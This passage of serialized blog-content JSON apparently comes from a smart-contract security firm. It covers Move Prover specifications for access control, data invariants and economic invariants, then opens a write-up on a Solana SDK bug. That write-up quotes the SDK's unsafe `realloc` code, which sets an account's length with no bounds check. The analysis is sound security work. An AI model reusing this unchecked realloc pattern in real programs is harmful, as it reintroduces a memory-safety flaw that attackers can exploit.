tyle":6941},[16696],{"type":31,"value":16697}," multiplier",{"type":25,"tag":216,"props":16699,"children":16700},{"style":6947},[16701],{"type":31,"value":179},{"type":25,"tag":216,"props":16703,"children":16704},{"style":6958},[16705],{"type":31,"value":16706},"value) ",{"type":25,"tag":216,"props":16708,"children":16709},{"style":6947},[16710],{"type":31,"value":16711},">>",{"type":25,"tag":216,"props":16713,"children":16714},{"style":6983},[16715],{"type":31,"value":16716}," 32\n",{"type":25,"tag":216,"props":16718,"children":16719},{"class":6916,"line":7251},[16720],{"type":25,"tag":216,"props":16721,"children":16722},{"style":6958},[16723],{"type":31,"value":16614},{"type":25,"tag":607,"props":16725,"children":16727},{"id":16726},"access-control-policies",[16728],{"type":31,"value":16729},"Access Control Policies",{"type":25,"tag":38,"props":16731,"children":16732},{},[16733],{"type":31,"value":16734},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification level.",{"type":25,"tag":38,"props":16736,"children":16737},{},[16738,16740,16746,16748,16753],{"type":31,"value":16739},"For example, in ",{"type":25,"tag":82,"props":16741,"children":16743},{"className":16742},[],[16744],{"type":31,"value":16745},"std::offer",{"type":31,"value":16747}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":25,"tag":64,"props":16749,"children":16750},{},[16751],{"type":31,"value":16752},"or",{"type":31,"value":16754}," the recipient is now allowed.",{"type":25,"tag":206,"props":16756,"children":16758},{"code":16757,"language":6908,"meta":7,"className":6909,"style":7},"    spec redeem {\n      /// Aborts if there is no offer under `offer_address` or if the account\n      /// cannot redeem the offer.\n      /// Ensures that the offered struct under `offer_address` is removed.\n      aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n      aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n      ensures !exists\u003COffer\u003COffered>>(offer_address);\n      ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n    }\n",[16759],{"type":25,"tag":82,"props":16760,"children":16761},{"__ignoreMap":7},[16762,16779,16787,16795,16803,16850,16908,16951,17017],{"type":25,"tag":216,"props":16763,"children":16764},{"class":6916,"line":6917},[16765,16770,16775],{"type":25,"tag":216,"props":16766,"children":16767},{"style":6941},[16768],{"type":31,"value":16769},"    spec",{"type":25,"tag":216,"props":16771,"children":16772},{"style":6941},[16773],{"type":31,"value":16774}," redeem",{"type":25,"tag":216,"props":16776,"children":16777},{"style":6958},[16778],{"type":31,"value":7235},{"type":25,"tag":216,"props":16780,"children":16781},{"class":6916,"line":6763},[16782],{"type":25,"tag":216,"props":16783,"children":16784},{"style":6921},[16785],{"type":31,"value":16786},"      /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":25,"tag":216,"props":16788,"children":16789},{"class":6916,"line":6772},[16790],{"type":25,"tag":216,"props":16791,"children":16792},{"style":6921},[16793],{"type":31,"value":16794},"      /// cannot redeem the offer.\n",{"type":25,"tag":216,"props":16796,"children":16797},{"class":6916,"line":6999},[16798],{"type":25,"tag":216,"props":16799,"children":16800},{"style":6921},[16801],{"type":31,"value":16802},"      /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":25,"tag":216,"props":16804,"children":16805},{"class":6916,"line":7104},[16806,16810,16815,16819,16823,16828,16832,16837,16841,16846],{"type":25,"tag":216,"props":16807,"children":16808},{"style":6941},[16809],{"type":31,"value":13001},{"type":25,"tag":216,"props":16811,"children":16812},{"style":6947},[16813],{"type":31,"value":16814}," !",{"type":25,"tag":216,"props":16816,"children":16817},{"style":6941},[16818],{"type":31,"value":10650},{"type":25,"tag":216,"props":16820,"children":16821},{"style":6958},[16822],{"type":31,"value":9751},{"type":25,"tag":216,"props":16824,"children":16825},{"style":7369},[16826],{"type":31,"value":16827},"Offer",{"type":25,"tag":216,"props":16829,"children":16830},{"style":6958},[16831],{"type":31,"value":9751},{"type":25,"tag":216,"props":16833,"children":16834},{"style":7369},[16835],{"type":31,"value":16836},"Offered",{"type":25,"tag":216,"props":16838,"children":16839},{"style":6958},[16840],{"type":31,"value":10672},{"type":25,"tag":216,"props":16842,"children":16843},{"style":6941},[16844],{"type":31,"value":16845},"offer_address",{"type":25,"tag":216,"props":16847,"children":16848},{"style":6958},[16849],{"type":31,"value":7791},{"type":25,"tag":216,"props":16851,"children":16852},{"class":6916,"line":7210},[16853,16857,16861,16866,16870,16874,16878,16882,16887,16891,16895,16899,16904],{"type":25,"tag":216,"props":16854,"children":16855},{"style":6941},[16856],{"type":31,"value":13001},{"type":25,"tag":216,"props":16858,"children":16859},{"style":6947},[16860],{"type":31,"value":16814},{"type":25,"tag":216,"props":16862,"children":16863},{"style":6941},[16864],{"type":31,"value":16865},"is_allowed_recipient",{"type":25,"tag":216,"props":16867,"children":16868},{"style":6958},[16869],{"type":31,"value":9751},{"type":25,"tag":216,"props":16871,"children":16872},{"style":7369},[16873],{"type":31,"value":16836},{"type":25,"tag":216,"props":16875,"children":16876},{"style":6958},[16877],{"type":31,"value":11556},{"type":25,"tag":216,"props":16879,"children":16880},{"style":6941},[16881],{"type":31,"value":16845},{"type":25,"tag":216,"props":16883,"children":16884},{"style":6958},[16885],{"type":31,"value":16886},", signer",{"type":25,"tag":216,"props":16888,"children":16889},{"style":6947},[16890],{"type":31,"value":7432},{"type":25,"tag":216,"props":16892,"children":16893},{"style":7041},[16894],{"type":31,"value":11155},{"type":25,"tag":216,"props":16896,"children":16897},{"style":6958},[16898],{"type":31,"value":1844},{"type":25,"tag":216,"props":16900,"children":16901},{"style":6941},[16902],{"type":31,"value":16903},"account",{"type":25,"tag":216,"props":16905,"children":16906},{"style":6958},[16907],{"type":31,"value":11169},{"type":25,"tag":216,"props":16909,"children":16910},{"class":6916,"line":7238},[16911,16915,16919,16923,16927,16931,16935,16939,16943,16947],{"type":25,"tag":216,"props":16912,"children":16913},{"style":6941},[16914],{"type":31,"value":12133},{"type":25,"tag":216,"props":16916,"children":16917},{"style":6947},[16918],{"type":31,"value":16814},{"type":25,"tag":216,"props":16920,"children":16921},{"style":6941},[16922],{"type":31,"value":10650},{"type":25,"tag":216,"props":16924,"children":16925},{"style":6958},[16926],{"type":31,"value":9751},{"type":25,"tag":216,"props":16928,"children":16929},{"style":7369},[16930],{"type":31,"value":16827},{"type":25,"tag":216,"props":16932,"children":16933},{"style":6958},[16934],{"type":31,"value":9751},{"type":25,"tag":216,"props":16936,"children":16937},{"style":7369},[16938],{"type":31,"value":16836},{"type":25,"tag":216,"props":16940,"children":16941},{"style":6958},[16942],{"type":31,"value":10672},{"type":25,"tag":216,"props":16944,"children":16945},{"style":6941},[16946],{"type":31,"value":16845},{"type":25,"tag":216,"props":16948,"children":16949},{"style":6958},[16950],{"type":31,"value":7791},{"type":25,"tag":216,"props":16952,"children":16953},{"class":6916,"line":7251},[16954,16958,16962,16966,16971,16975,16980,16984,16988,16992,16996,17000,17004,17008,17012],{"type":25,"tag":216,"props":16955,"children":16956},{"style":6941},[16957],{"type":31,"value":12133},{"type":25,"tag":216,"props":16959,"children":16960},{"style":6941},[16961],{"type":31,"value":13109},{"type":25,"tag":216,"props":16963,"children":16964},{"style":6947},[16965],{"type":31,"value":7226},{"type":25,"tag":216,"props":16967,"children":16968},{"style":7041},[16969],{"type":31,"value":16970}," old",{"type":25,"tag":216,"props":16972,"children":16973},{"style":6958},[16974],{"type":31,"value":1844},{"type":25,"tag":216,"props":16976,"children":16977},{"style":6941},[16978],{"type":31,"value":16979},"global",{"type":25,"tag":216,"props":16981,"children":16982},{"style":6958},[16983],{"type":31,"value":9751},{"type":25,"tag":216,"props":16985,"children":16986},{"style":7369},[16987],{"type":31,"value":16827},{"type":25,"tag":216,"props":16989,"children":16990},{"style":6958},[16991],{"type":31,"value":9751},{"type":25,"tag":216,"props":16993,"children":16994},{"style":7369},[16995],{"type":31,"value":16836},{"type":25,"tag":216,"props":16997,"children":16998},{"style":6958},[16999],{"type":31,"value":10672},{"type":25,"tag":216,"props":17001,"children":17002},{"style":6941},[17003],{"type":31,"value":16845},{"type":25,"tag":216,"props":17005,"children":17006},{"style":6958},[17007],{"type":31,"value":1882},{"type":25,"tag":216,"props":17009,"children":17010},{"style":6947},[17011],{"type":31,"value":179},{"type":25,"tag":216,"props":17013,"children":17014},{"style":6958},[17015],{"type":31,"value":17016},"offered);\n",{"type":25,"tag":216,"props":17018,"children":17019},{"class":6916,"line":7269},[17020],{"type":25,"tag":216,"props":17021,"children":17022},{"style":6958},[17023],{"type":31,"value":7305},{"type":25,"tag":38,"props":17025,"children":17026},{},[17027],{"type":31,"value":17028},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":25,"tag":607,"props":17030,"children":17032},{"id":17031},"complex-mathematical-formulae",[17033],{"type":31,"value":17034},"Complex Mathematical Formulae",{"type":25,"tag":38,"props":17036,"children":17037},{},[17038,17040,17045],{"type":31,"value":17039},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":25,"tag":64,"props":17041,"children":17042},{},[17043],{"type":31,"value":17044},"always",{"type":31,"value":17046}," the output.",{"type":25,"tag":38,"props":17048,"children":17049},{},[17050],{"type":31,"value":17051},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your codebase.",{"type":25,"tag":38,"props":17053,"children":17054},{},[17055,17057,17064],{"type":31,"value":17056},"For example, in our work with ",{"type":25,"tag":162,"props":17058,"children":17061},{"href":17059,"rel":17060},"https://laminar.markets/",[166],[17062],{"type":31,"value":17063},"Laminar Markets",{"type":31,"value":17065},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":25,"tag":607,"props":17067,"children":17069},{"id":17068},"data-invariants",[17070],{"type":31,"value":17071},"Data Invariants",{"type":25,"tag":38,"props":17073,"children":17074},{},[17075,17077,17083,17085,17091,17093,17099,17101,17107],{"type":31,"value":17076},"Formal verification provides the best environment to verify that certain ",{"type":25,"tag":82,"props":17078,"children":17080},{"className":17079},[],[17081],{"type":31,"value":17082},"variables",{"type":31,"value":17084}," or ",{"type":25,"tag":82,"props":17086,"children":17088},{"className":17087},[],[17089],{"type":31,"value":17090},"resources",{"type":31,"value":17092}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":25,"tag":82,"props":17094,"children":17096},{"className":17095},[],[17097],{"type":31,"value":17098},"index",{"type":31,"value":17100}," is never greater than 4 using a ",{"type":25,"tag":82,"props":17102,"children":17104},{"className":17103},[],[17105],{"type":31,"value":17106},"struct invariant",{"type":31,"value":179},{"type":25,"tag":206,"props":17109,"children":17111},{"code":17110,"language":6908,"meta":7,"className":6909,"style":7},"struct Type {\n    index: u64\n}\n\nspec Type {\n    invariant index \u003C 4;\n}\n",[17112],{"type":25,"tag":82,"props":17113,"children":17114},{"__ignoreMap":7},[17115,17131,17148,17155,17162,17177,17201],{"type":25,"tag":216,"props":17116,"children":17117},{"class":6916,"line":6917},[17118,17122,17127],{"type":25,"tag":216,"props":17119,"children":17120},{"style":6930},[17121],{"type":31,"value":13351},{"type":25,"tag":216,"props":17123,"children":17124},{"style":7369},[17125],{"type":31,"value":17126}," Type",{"type":25,"tag":216,"props":17128,"children":17129},{"style":6958},[17130],{"type":31,"value":7235},{"type":25,"tag":216,"props":17132,"children":17133},{"class":6916,"line":6763},[17134,17139,17143],{"type":25,"tag":216,"props":17135,"children":17136},{"style":6941},[17137],{"type":31,"value":17138},"    index",{"type":25,"tag":216,"props":17140,"children":17141},{"style":6947},[17142],{"type":31,"value":1466},{"type":25,"tag":216,"props":17144,"children":17145},{"style":7369},[17146],{"type":31,"value":17147}," u64\n",{"type":25,"tag":216,"props":17149,"children":17150},{"class":6916,"line":6772},[17151],{"type":25,"tag":216,"props":17152,"children":17153},{"style":6958},[17154],{"type":31,"value":7868},{"type":25,"tag":216,"props":17156,"children":17157},{"class":6916,"line":6999},[17158],{"type":25,"tag":216,"props":17159,"children":17160},{"emptyLinePlaceholder":16},[17161],{"type":31,"value":7636},{"type":25,"tag":216,"props":17163,"children":17164},{"class":6916,"line":7104},[17165,17169,17173],{"type":25,"tag":216,"props":17166,"children":17167},{"style":6941},[17168],{"type":31,"value":12221},{"type":25,"tag":216,"props":17170,"children":17171},{"style":7369},[17172],{"type":31,"value":17126},{"type":25,"tag":216,"props":17174,"children":17175},{"style":6958},[17176],{"type":31,"value":7235},{"type":25,"tag":216,"props":17178,"children":17179},{"class":6916,"line":7210},[17180,17184,17189,17193,17197],{"type":25,"tag":216,"props":17181,"children":17182},{"style":6941},[17183],{"type":31,"value":12238},{"type":25,"tag":216,"props":17185,"children":17186},{"style":6941},[17187],{"type":31,"value":17188}," index",{"type":25,"tag":216,"props":17190,"children":17191},{"style":6947},[17192],{"type":31,"value":12666},{"type":25,"tag":216,"props":17194,"children":17195},{"style":6983},[17196],{"type":31,"value":15695},{"type":25,"tag":216,"props":17198,"children":17199},{"style":6958},[17200],{"type":31,"value":6961},{"type":25,"tag":216,"props":17202,"children":17203},{"class":6916,"line":7238},[17204],{"type":25,"tag":216,"props":17205,"children":17206},{"style":6958},[17207],{"type":31,"value":7868},{"type":25,"tag":38,"props":17209,"children":17210},{},[17211,17213,17220,17221,17227],{"type":31,"value":17212},"We were able to verify more complex properties in our recent audits for ",{"type":25,"tag":162,"props":17214,"children":17217},{"href":17215,"rel":17216},"https://layerzero.network/",[166],[17218],{"type":31,"value":17219},"LayerZero",{"type":31,"value":1301},{"type":25,"tag":162,"props":17222,"children":17225},{"href":17223,"rel":17224},"http://ariesmarkets.xyz/",[166],[17226],{"type":31,"value":10736},{"type":31,"value":17228},", but the details are left as an exercise to the reader.",{"type":25,"tag":607,"props":17230,"children":17232},{"id":17231},"economic-invariants",[17233],{"type":31,"value":17234},"Economic Invariants.",{"type":25,"tag":38,"props":17236,"children":17237},{},[17238],{"type":31,"value":17239},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":25,"tag":38,"props":17241,"children":17242},{},[17243],{"type":31,"value":17244},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":25,"tag":206,"props":17246,"children":17247},{"code":11913,"language":6908,"meta":7,"className":6909,"style":7},[17248],{"type":25,"tag":82,"props":17249,"children":17250},{"__ignoreMap":7},[17251,17258,17341,17380,17399,17406,17421,17444,17467,17490],{"type":25,"tag":216,"props":17252,"children":17253},{"class":6916,"line":6917},[17254],{"type":25,"tag":216,"props":17255,"children":17256},{"style":6921},[17257],{"type":31,"value":11925},{"type":25,"tag":216,"props":17259,"children":17260},{"class":6916,"line":6763},[17261,17265,17269,17273,17277,17281,17285,17289,17293,17297,17301,17305,17309,17313,17317,17321,17325,17329,17333,17337],{"type":25,"tag":216,"props":17262,"children":17263},{"style":6941},[17264],{"type":31,"value":10515},{"type":25,"tag":216,"props":17266,"children":17267},{"style":7041},[17268],{"type":31,"value":11937},{"type":25,"tag":216,"props":17270,"children":17271},{"style":6958},[17272],{"type":31,"value":1844},{"type":25,"tag":216,"props":17274,"children":17275},{"style":6941},[17276],{"type":31,"value":11946},{"type":25,"tag":216,"props":17278,"children":17279},{"style":6947},[17280],{"type":31,"value":1466},{"type":25,"tag":216,"props":17282,"children":17283},{"style":7369},[17284],{"type":31,"value":9805},{"type":25,"tag":216,"props":17286,"children":17287},{"style":6958},[17288],{"type":31,"value":7020},{"type":25,"tag":216,"props":17290,"children":17291},{"style":6941},[17292],{"type":31,"value":11963},{"type":25,"tag":216,"props":17294,"children":17295},{"style":6947},[17296],{"type":31,"value":1466},{"type":25,"tag":216,"props":17298,"children":17299},{"style":7369},[17300],{"type":31,"value":9805},{"type":25,"tag":216,"props":17302,"children":17303},{"style":6958},[17304],{"type":31,"value":1882},{"type":25,"tag":216,"props":17306,"children":17307},{"style":6947},[17308],{"type":31,"value":1466},{"type":25,"tag":216,"props":17310,"children":17311},{"style":6958},[17312],{"type":31,"value":7010},{"type":25,"tag":216,"props":17314,"children":17315},{"style":7369},[17316],{"type":31,"value":11988},{"type":25,"tag":216,"props":17318,"children":17319},{"style":6958},[17320],{"type":31,"value":7020},{"type":25,"tag":216,"props":17322,"children":17323},{"style":7369},[17324],{"type":31,"value":11988},{"type":25,"tag":216,"props":17326,"children":17327},{"style":6958},[17328],{"type":31,"value":7030},{"type":25,"tag":216,"props":17330,"children":17331},{"style":6941},[17332],{"type":31,"value":10289},{"type":25,"tag":216,"props":17334,"children":17335},{"style":7369},[17336],{"type":31,"value":12009},{"type":25,"tag":216,"props":17338,"children":17339},{"style":6958},[17340],{"type":31,"value":7235},{"type":25,"tag":216,"props":17342,"children":17343},{"class":6916,"line":6772},[17344,17348,17352,17356,17360,17364,17368,17372,17376],{"type":25,"tag":216,"props":17345,"children":17346},{"style":6930},[17347],{"type":31,"value":12021},{"type":25,"tag":216,"props":17349,"children":17350},{"style":6941},[17351],{"type":31,"value":12026},{"type":25,"tag":216,"props":17353,"children":17354},{"style":6947},[17355],{"type":31,"value":6950},{"type":25,"tag":216,"props":17357,"children":17358},{"style":7041},[17359],{"type":31,"value":12035},{"type":25,"tag":216,"props":17361,"children":17362},{"style":6958},[17363],{"type":31,"value":1844},{"type":25,"tag":216,"props":17365,"children":17366},{"style":6941},[17367],{"type":31,"value":11946},{"type":25,"tag":216,"props":17369,"children":17370},{"style":6958},[17371],{"type":31,"value":7020},{"type":25,"tag":216,"props":17373,"children":17374},{"style":6941},[17375],{"type":31,"value":11963},{"type":25,"tag":216,"props":17377,"children":17378},{"style":6958},[17379],{"type":31,"value":7791},{"type":25,"tag":216,"props":17381,"children":17382},{"class":6916,"line":6999},[17383,17387,17391,17395],{"type":25,"tag":216,"props":17384,"children":17385},{"style":7041},[17386],{"type":31,"value":12063},{"type":25,"tag":216,"props":17388,"children":17389},{"style":6958},[17390],{"type":31,"value":1844},{"type":25,"tag":216,"props":17392,"children":17393},{"style":6941},[17394],{"type":31,"value":12072},{"type":25,"tag":216,"props":17396,"children":17397},{"style":6958},[17398],{"type":31,"value":7101},{"type":25,"tag":216,"props":17400,"children":17401},{"class":6916,"line":7104},[17402],{"type":25,"tag":216,"props":17403,"children":17404},{"style":6958},[17405],{"type":31,"value":9817},{"type":25,"tag":216,"props":17407,"children":17408},{"class":6916,"line":7210},[17409,17413,17417],{"type":25,"tag":216,"props":17410,"children":17411},{"style":6941},[17412],{"type":31,"value":12091},{"type":25,"tag":216,"props":17414,"children":17415},{"style":6941},[17416],{"type":31,"value":11937},{"type":25,"tag":216,"props":17418,"children":17419},{"style":6958},[17420],{"type":31,"value":7235},{"type":25,"tag":216,"props":17422,"children":17423},{"class":6916,"line":7238},[17424,17428,17432,17436,17440],{"type":25,"tag":216,"props":17425,"children":17426},{"style":6941},[17427],{"type":31,"value":12107},{"type":25,"tag":216,"props":17429,"children":17430},{"style":6941},[17431],{"type":31,"value":12112},{"type":25,"tag":216,"props":17433,"children":17434},{"style":6947},[17435],{"type":31,"value":266},{"type":25,"tag":216,"props":17437,"children":17438},{"style":6930},[17439],{"type":31,"value":12121},{"type":25,"tag":216,"props":17441,"children":17442},{"style":6958},[17443],{"type":31,"value":6961},{"type":25,"tag":216,"props":17445,"children":17446},{"class":6916,"line":7251},[17447,17451,17455,17459,17463],{"type":25,"tag":216,"props":17448,"children":17449},{"style":6941},[17450],{"type":31,"value":12133},{"type":25,"tag":216,"props":17452,"children":17453},{"style":6941},[17454],{"type":31,"value":12138},{"type":25,"tag":216,"props":17456,"children":17457},{"style":6947},[17458],{"type":31,"value":12143},{"type":25,"tag":216,"props":17460,"children":17461},{"style":6941},[17462],{"type":31,"value":12148},{"type":25,"tag":216,"props":17464,"children":17465},{"style":6958},[17466],{"type":31,"value":6961},{"type":25,"tag":216,"props":17468,"children":17469},{"class":6916,"line":7269},[17470,17474,17478,17482,17486],{"type":25,"tag":216,"props":17471,"children":17472},{"style":6941},[17473],{"type":31,"value":12133},{"type":25,"tag":216,"props":17475,"children":17476},{"style":6941},[17477],{"type":31,"value":12164},{"type":25,"tag":216,"props":17479,"children":17480},{"style":6947},[17481],{"type":31,"value":12143},{"type":25,"tag":216,"props":17483,"children":17484},{"style":6941},[17485],{"type":31,"value":12173},{"type":25,"tag":216,"props":17487,"children":17488},{"style":6958},[17489],{"type":31,"value":6961},{"type":25,"tag":216,"props":17491,"children":17492},{"class":6916,"line":7290},[17493],{"type":25,"tag":216,"props":17494,"children":17495},{"style":6958},[17496],{"type":31,"value":9817},{"type":25,"tag":38,"props":17498,"children":17499},{},[17500],{"type":31,"value":17501},"Some other ideas include",{"type":25,"tag":6705,"props":17503,"children":17504},{},[17505,17510,17515],{"type":25,"tag":2037,"props":17506,"children":17507},{},[17508],{"type":31,"value":17509},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":25,"tag":2037,"props":17511,"children":17512},{},[17513],{"type":31,"value":17514},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":25,"tag":2037,"props":17516,"children":17517},{},[17518],{"type":31,"value":17519},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":25,"tag":26,"props":17521,"children":17522},{"id":9252},[17523],{"type":31,"value":9255},{"type":25,"tag":38,"props":17525,"children":17526},{},[17527],{"type":31,"value":17528},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":25,"tag":38,"props":17530,"children":17531},{},[17532],{"type":31,"value":17533},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":25,"tag":38,"props":17535,"children":17536},{},[17537,17539,17544],{"type":31,"value":17538},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":25,"tag":162,"props":17540,"children":17542},{"href":13191,"rel":17541},[166],[17543],{"type":31,"value":13195},{"type":31,"value":179},{"type":25,"tag":9310,"props":17546,"children":17547},{},[17548],{"type":31,"value":9314},{"title":7,"searchDepth":6763,"depth":6763,"links":17550},[17551,17552,17555,17562],{"id":13255,"depth":6763,"text":13258},{"id":13309,"depth":6763,"text":13312,"children":17553},[17554],{"id":13560,"depth":6772,"text":13556},{"id":16459,"depth":6763,"text":16462,"children":17556},[17557,17558,17559,17560,17561],{"id":16475,"depth":6772,"text":16478},{"id":16726,"depth":6772,"text":16729},{"id":17031,"depth":6772,"text":17034},{"id":17068,"depth":6772,"text":17071},{"id":17231,"depth":6772,"text":17234},{"id":9252,"depth":6763,"text":9255},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":17567,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":17568,"description":17569,"author":17570,"image":17571,"date":17575,"isFeatured":16,"onBlogPage":16,"tags":17576,"body":17577,"_type":6792,"_id":22696,"_source":6794,"_file":22697,"_stem":22698,"_extension":6797},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":17572,"height":17573,"width":17574},"/posts/rust-realloc-and-references/title.jpg",512,1024,"2022-12-09",[6810,13219],{"type":22,"children":17578,"toc":22680},[17579,17607,17627,18297,18317,18328,18340,18473,18483,18489,18515,18856,18901,19227,19290,19303,19377,19445,19466,19479,19493,19842,19853,19858,19989,20040,20066,20078,20251,20387,20428,20465,20531,20536,20573,20627,20638,20781,20793,20799,20805,20838,20852,20974,20993,21021,21027,21117,21207,21213,21218,21265,21534,21609,21620,21647,21979,21991,22064,22337,22374,22676],{"type":25,"tag":38,"props":17580,"children":17581},{},[17582,17584,17590,17592,17597,17599,17605],{"type":31,"value":17583},"It all started with an audit of a program that used ",{"type":25,"tag":82,"props":17585,"children":17587},{"className":17586},[],[17588],{"type":31,"value":17589},"realloc",{"type":31,"value":17591}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":25,"tag":82,"props":17593,"children":17595},{"className":17594},[],[17596],{"type":31,"value":17589},{"type":31,"value":17598}," call (from ",{"type":25,"tag":82,"props":17600,"children":17602},{"className":17601},[],[17603],{"type":31,"value":17604},"solana_program",{"type":31,"value":17606},") would error out appropriately.",{"type":25,"tag":38,"props":17608,"children":17609},{},[17610,17612,17618,17619,17626],{"type":31,"value":17611},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":25,"tag":82,"props":17613,"children":17615},{"className":17614},[],[17616],{"type":31,"value":17617},"AccountInfo::realloc",{"type":31,"value":1674},{"type":25,"tag":162,"props":17620,"children":17623},{"href":17621,"rel":17622},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[166],[17624],{"type":31,"value":17625},"implemented",{"type":31,"value":1466},{"type":25,"tag":206,"props":17628,"children":17630},{"className":6909,"code":17629,"language":6908,"meta":7,"style":7},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n    let orig_len = self.data_len();\n\n    // realloc\n    unsafe {\n        // First set new length in the serialized data\n        let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n        *ptr = new_len as u64;\n\n        // Then set the new length in the local slice\n        let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n        *ptr = new_len as u64;\n    }\n\n    // zero-init if requested\n    if zero_init && new_len > orig_len {\n        sol_memset(\n            &mut self.try_borrow_mut_data()?[orig_len..],\n            0,\n            new_len.saturating_sub(orig_len),\n        );\n    }\n\n    Ok(())\n}\n",[17631],{"type":25,"tag":82,"props":17632,"children":17633},{"__ignoreMap":7},[17634,17728,17762,17769,17777,17789,17797,17889,17922,17929,17937,18067,18098,18105,18112,18120,18154,18166,18215,18227,18256,18263,18270,18277,18290],{"type":25,"tag":216,"props":17635,"children":17636},{"class":6916,"line":6917},[17637,17642,17647,17652,17656,17660,17665,17669,17674,17678,17683,17687,17692,17696,17700,17704,17709,17714,17719,17724],{"type":25,"tag":216,"props":17638,"children":17639},{"style":6930},[17640],{"type":31,"value":17641},"pub",{"type":25,"tag":216,"props":17643,"children":17644},{"style":6930},[17645],{"type":31,"value":17646}," fn",{"type":25,"tag":216,"props":17648,"children":17649},{"style":7041},[17650],{"type":31,"value":17651}," realloc",{"type":25,"tag":216,"props":17653,"children":17654},{"style":6958},[17655],{"type":31,"value":1844},{"type":25,"tag":216,"props":17657,"children":17658},{"style":6947},[17659],{"type":31,"value":7053},{"type":25,"tag":216,"props":17661,"children":17662},{"style":6930},[17663],{"type":31,"value":17664},"self",{"type":25,"tag":216,"props":17666,"children":17667},{"style":6958},[17668],{"type":31,"value":7020},{"type":25,"tag":216,"props":17670,"children":17671},{"style":6941},[17672],{"type":31,"value":17673},"new_len",{"type":25,"tag":216,"props":17675,"children":17676},{"style":6947},[17677],{"type":31,"value":1466},{"type":25,"tag":216,"props":17679,"children":17680},{"style":7369},[17681],{"type":31,"value":17682}," usize",{"type":25,"tag":216,"props":17684,"children":17685},{"style":6958},[17686],{"type":31,"value":7020},{"type":25,"tag":216,"props":17688,"children":17689},{"style":6941},[17690],{"type":31,"value":17691},"zero_init",{"type":25,"tag":216,"props":17693,"children":17694},{"style":6947},[17695],{"type":31,"value":1466},{"type":25,"tag":216,"props":17697,"children":17698},{"style":7369},[17699],{"type":31,"value":16000},{"type":25,"tag":216,"props":17701,"children":17702},{"style":6958},[17703],{"type":31,"value":7030},{"type":25,"tag":216,"props":17705,"children":17706},{"style":6947},[17707],{"type":31,"value":17708},"->",{"type":25,"tag":216,"props":17710,"children":17711},{"style":7369},[17712],{"type":31,"value":17713}," Result",{"type":25,"tag":216,"props":17715,"children":17716},{"style":6958},[17717],{"type":31,"value":17718},"\u003C(), ",{"type":25,"tag":216,"props":17720,"children":17721},{"style":7369},[17722],{"type":31,"value":17723},"ProgramError",{"type":25,"tag":216,"props":17725,"children":17726},{"style":6958},[17727],{"type":31,"value":11227},{"type":25,"tag":216,"props":17729,"children":17730},{"class":6916,"line":6763},[17731,17735,17740,17744,17749,17753,17758],{"type":25,"tag":216,"props":17732,"children":17733},{"style":6930},[17734],{"type":31,"value":6933},{"type":25,"tag":216,"props":17736,"children":17737},{"style":6941},[17738],{"type":31,"value":17739}," orig_len",{"type":25,"tag":216,"props":17741,"children":17742},{"style":6947},[17743],{"type":31,"value":6950},{"type":25,"tag":216,"props":17745,"children":17746},{"style":6930},[17747],{"type":31,"value":17748}," self",{"type":25,"tag":216,"props":17750,"children":17751},{"style":6947},[17752],{"type":31,"value":179},{"type":25,"tag":216,"props":17754,"children":17755},{"style":7041},[17756],{"type":31,"value":17757},"data_len",{"type":25,"tag":216,"props":17759,"children":17760},{"style":6958},[17761],{"type":31,"value":7627},{"type":25,"tag":216,"props":17763,"children":17764},{"class":6916,"line":6772},[17765],{"type":25,"tag":216,"props":17766,"children":17767},{"emptyLinePlaceholder":16},[17768],{"type":31,"value":7636},{"type":25,"tag":216,"props":17770,"children":17771},{"class":6916,"line":6999},[17772],{"type":25,"tag":216,"props":17773,"children":17774},{"style":6921},[17775],{"type":31,"value":17776},"    // realloc\n",{"type":25,"tag":216,"props":17778,"children":17779},{"class":6916,"line":7104},[17780,17785],{"type":25,"tag":216,"props":17781,"children":17782},{"style":6930},[17783],{"type":31,"value":17784},"    unsafe",{"type":25,"tag":216,"props":17786,"children":17787},{"style":6958},[17788],{"type":31,"value":7235},{"type":25,"tag":216,"props":17790,"children":17791},{"class":6916,"line":7210},[17792],{"type":25,"tag":216,"props":17793,"children":17794},{"style":6921},[17795],{"type":31,"value":17796},"        // First set new length in the serialized 